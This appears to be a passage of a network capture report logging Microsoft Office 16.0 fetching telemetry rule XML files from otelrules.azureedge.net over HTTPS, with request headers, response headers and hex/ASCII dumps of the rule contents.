2024-11-16 19:13:16 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49950	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:16 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:16 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e00571ae-f01e-0052-6cd2-379224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191316Z-1866b5c5fbbldb6rhC1DFW4bew00000003a000000000p1e2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49951	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:16 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:16 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5906632b-401e-005b-378d-369c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191316Z-164f84587bf6h2bxhC1DFWbcm800000003dg000000009d1z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49952	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:16 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:16 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: a965d8e2-c01e-000b-5412-37e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191316Z-164f84587bf7jb9dhC1DFWkay400000002xg000000005387 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:16 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49953	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:16 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:16 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:16 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 14be5296-801e-008c-31af-367130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191316Z-1866b5c5fbb5hnj5hC1DFW18sc00000003eg000000003z88 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:16 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49954	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:16 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:17 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 787388c3-601e-0070-268f-37a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191316Z-164f84587bffvwt9hC1DFW2ktw00000000v000000000mu4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 19:13:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49956	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:16 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9fe5a23c-201e-0051-74ab-367340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191317Z-16547b76f7fw2955hC1DFWsptc00000003u0000000001aaq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49955	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:17 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:17 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 311bbf91-201e-006e-1d26-37bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191317Z-164f84587bfn7ppchC1DFW0meg00000002kg00000000cm7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:17 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49957	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:17 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 7208895d-401e-0047-32a2-348597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191317Z-1866b5c5fbb55pxzhC1DFW1aps0000000360000000007dab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49958	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:17 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:17 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 1deecc73-401e-0029-32d2-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191317Z-16547b76f7fsq6p7hC1DFWfx6800000001p000000000c729 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49959	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:17 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:17 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:17 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 2117b026-901e-0029-37af-36274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191317Z-16547b76f7fljddfhC1DFWeqbs000000044g00000000213t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:17 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49960	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:17 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: e670145d-b01e-003d-3cc7-36d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191317Z-164f84587bfsgfx9hC1DFWw1as00000002zg00000000pfz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49961	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
